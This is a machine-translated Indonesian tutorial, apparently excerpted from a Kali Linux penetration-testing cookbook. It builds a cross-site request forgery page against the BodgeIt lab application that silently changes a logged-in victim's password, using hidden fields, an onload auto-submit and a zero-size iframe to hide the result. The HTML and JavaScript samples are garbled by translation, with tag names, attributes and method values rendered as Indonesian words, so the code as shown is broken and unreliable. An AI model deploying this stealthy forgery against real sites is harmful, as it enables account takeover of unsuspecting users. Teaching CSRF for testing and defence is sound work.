Serangan CSRF adalah serangan yang menyebabkan pengguna yang diautentikasi melakukan tindakan yang tidak diinginkan pada aplikasi web tempat mereka diautentikasi. Ini dilakukan melalui situs web eksternal yang dikunjungi pengguna dan yang memicu tindakan ini.
Pada artikel ini, Anda akan mendapatkan informasi yang Anda perlukan dari aplikasi untuk mengetahui apa yang perlu dilakukan situs penyerang untuk mengirimkan permintaan yang valid ke server yang rentan. Anda kemudian akan membuat halaman yang meniru permintaan yang sah dan mengelabui pengguna agar mengunjungi halaman tersebut saat diautentikasi. Anda juga akan melakukan beberapa iterasi pada bukti dasar konsep untuk membuatnya lebih seperti serangan dunia nyata di mana korban tidak menyadarinya. Perhatikan bahwa file kode untuk artikel ini dapat ditemukan di github penulis.
Anda memerlukan akun BodgeIt yang valid untuk artikel ini. Artikel ini menggunakan user@example.com
sebagai korban.
Bagaimana cara melakukannya…
Pertama, Anda perlu menganalisis permintaan yang ingin Anda patuhi oleh korban. Untuk melakukan ini, Anda memerlukan Burp Suite atau proxy lain yang dikonfigurasi di browser.
- Masuk ke BodgeIt sebagai pengguna mana pun dan klik nama pengguna untuk masuk ke profil.
- Buat perubahan kata sandi. Lihat seperti apa permintaan di proxy.
Jadi begitulah
POST
Permintaanhttp://192.168.56.11/bodgeit/password.jsp,
dan hanya memiliki kata sandi dan konfirmasinya di badan. - Coba buat halaman HTML yang sangat sederhana yang mengulang kueri ini. Buat file (beri nama
csrf-change-password.html
) dengan isi sebagai berikut:<html:>:
<tubuh>:
<formulir tindakan=:“http://192.168.56.11/bodgeit/password.jsp” metode=:“SURAT”>:
<memasukkan Nama:=:“kata sandi 1” nilai=:“kata sandi csrf”>:
<memasukkan Nama:=:“kata sandi 2” nilai=:“kata sandi csrf”>:
<memasukkan jenis:=:“hadiah” nilai=:“hadiah”>:
</formulir>:
</tubuh>:
</html:>: - Sekarang muat file ini di browser yang sama dengan sesi login Anda.
- Klik kirim dan Anda akan diarahkan ke halaman profil pengguna. Ini akan memberi tahu Anda bahwa kata sandi telah berhasil diperbarui.
- Meskipun ini terbukti benar, situs eksternal (atau halaman HTML lokal, seperti dalam kasus ini) dapat melakukan permintaan perubahan kata sandi di dalam aplikasi. Kecil kemungkinan pengguna akan mengklik Hadiah Anda dapat mengotomatiskannya dan menyembunyikan kolom input untuk menyembunyikan konten berbahaya. Sekarang buat halaman baru berdasarkan yang sebelumnya. menyebutnya
csrf-change-password-scripted.html
:<html:>:
<skenario>:fungsi submit_form()
{
document.getElementById(‘form1’).kirim();
}
</skenario>:
<tubuh sarat=:“menyerahkan formulir()”>:
<h1:>:Halaman yang sama sekali tidak berbahaya</h1:>:Anda dapat mempercayai halaman ini.
Tidak ada hal buruk yang akan terjadi pada Anda atau akun BodgeIt Anda.
<formulir pengenal:=:“bentuk 1” tindakan=:“http://192.168.56.11/bodgeit/password.jsp” metode=:“SURAT”>:
<memasukkan Nama:=:“kata sandi 1” nilai=:“csrfpassword1” jenis:=:“tersembunyi”>:
<memasukkan Nama:=:“kata sandi 2” nilai=:“csrfpassword1” jenis:=:“tersembunyi”>:
</formulir>:
</tubuh>:
</html:>:Kali ini formulir memiliki parameter ID dan ada skrip di halaman yang akan merender kontennya saat halaman terisi penuh.
- Jika Anda memuat halaman ini di browser yang sama tempat Anda memulai sesi BodgeIt, itu akan secara otomatis mengirimkan permintaan dan kemudian halaman profil pengguna akan ditampilkan. Pada tangkapan layar berikut, browser Debuggeratur breakpoint sesaat sebelum mengirim permintaan;
- Upaya terbaru ini terlihat lebih baik dari sudut pandang striker. Yang Anda butuhkan hanyalah korban memuat halaman dan permintaan akan dikirim secara otomatis, tetapi kemudian korban akan melihatnya Kata sandi Anda telah diubahpesan dan itu pasti akan membunyikan alarm.
- Anda dapat meningkatkan lebih lanjut halaman penyerang dengan memaksanya memuat respons dalam bingkai tak terlihat di dalam halaman yang sama. Ada banyak cara untuk melakukan ini. yang cepat dan kotor adalah menyetel bingkai ke ukuran 0. File Anda akan terlihat seperti ini:
<html:>:
<skenario>:
fungsi submit_form()
{document.getElementById(“bentuk 1”).hadiah();
}</skenario>:
<tubuh sarat=:“menyerahkan formulir()”>:
<h1:> Halaman yang sama sekali tidak berbahaya/h1:>:
Anda dapat mempercayai halaman ini.
Tidak ada hal buruk yang akan terjadi pada Anda atau akun BodgeIt Anda.
<formulir pengenal:=:“bentuk 1” tindakan=:“http://192.168.56.11/bodgeit/password.jsp” metode=:“SURAT”target=:“rentang_target”>:
<memasukkan Nama:=:“kata sandi 1” nilai=:“csrfpassword1” jenis:=:“tersembunyi”>:
<memasukkan Nama:=:“kata sandi 2” nilai=:“csrfpassword1” jenis:=:“tersembunyi”>:
</formulir>:
<iframe: Nama:=:“rentang_target” ketinggian=:“0%” dengan:=:“0%”>:
</iframe:>:
</tubuh>:
</html:>:Perhatikan bagaimana properti target formulir adalah iframe yang ditentukan tepat di bawahnya, dan bingkai tersebut memiliki tinggi dan lebar 0%.
- Muat halaman baru di browser tempat sesi dimulai. Tangkapan layar ini menunjukkan bagaimana halaman dilihat di browser Alat pengembang:
Perhatikan bahwa objek iframe hanyalah garis hitam pada halaman, dan di Inspektur Anda dapat melihat bahwa itu berisi halaman profil pengguna BodgeIt.
- Jika Anda menganalisis komunikasi jaringan yang diambil oleh halaman CSRF Anda, Anda dapat melihat bahwa itu sebenarnya membuat permintaan untuk mengubah kata sandi BodgeIt.
Bagaimana itu bekerja…
Saat Anda mengirim permintaan dari browser dan Anda sudah memiliki cookie yang disimpan milik domain target, browser akan melampirkan cookie sebelum mengirimkannya. Inilah yang membuat cookie sangat berguna sebagai pengidentifikasi sesi, tetapi fitur cara kerja HTTP ini juga membuatnya rentan terhadap serangan seperti yang Anda lihat di artikel ini.
Saat Anda memuat halaman di browser yang sama tempat Anda memiliki sesi aktif dalam aplikasi, browser akan secara otomatis melampirkan cookie sesi ke permintaan itu. Ini terjadi bahkan jika itu adalah tab atau jendela lain dan halaman ini membuat permintaan ke domain tempat sesi dimulai.
Jika server tidak memverifikasi bahwa permintaan yang diterimanya benar-benar berasal dari aplikasi, server mengizinkan situs jahat untuk melakukan panggilan atas nama pengguna aktif dan sah yang mengunjungi situs jahat ini dengan mengautentikasi ke domain target.
Dalam uji penetrasi aplikasi web, kode pertama yang Anda gunakan, dengan dua bidang teks dan Hadiah tombol, mungkin cukup untuk menunjukkan adanya kelemahan keamanan. Namun, pengujian penetrasi aplikasi dapat menjadi bagian dari keterlibatan lain, seperti rekayasa sosial atau latihan tim merah. Dalam hal ini, diperlukan upaya ekstra agar pengguna korban tidak curiga sedang terjadi sesuatu.
Di artikel ini, Anda menggunakan JavaScript untuk mengirimkan permintaan secara otomatis dengan menyetel peristiwa muat di halaman dan memanggil metode kirim formulir di pengendali peristiwa. Anda juga menggunakan iframe tersembunyi untuk memuat respons perubahan kata sandi, sehingga korban tidak pernah melihat pesan bahwa kata sandi mereka telah diubah.
Jika Anda menemukan artikel ini menarik, Anda dapat menjelajahinya Kali Linux Web Penetration Testing Cookbook – Edisi Kedua mengidentifikasi kerentanan web yang paling umum dan mencegahnya menjadi ancaman bagi keamanan situs Anda. Kali Linux Web Penetration Testing Cookbook – Edisi Kedua memberi Anda keterampilan yang Anda butuhkan untuk mencakup setiap fase pengujian penetrasi, mulai dari mengumpulkan informasi sistem dan aplikasi hingga menemukan kerentanan melalui pengujian manual.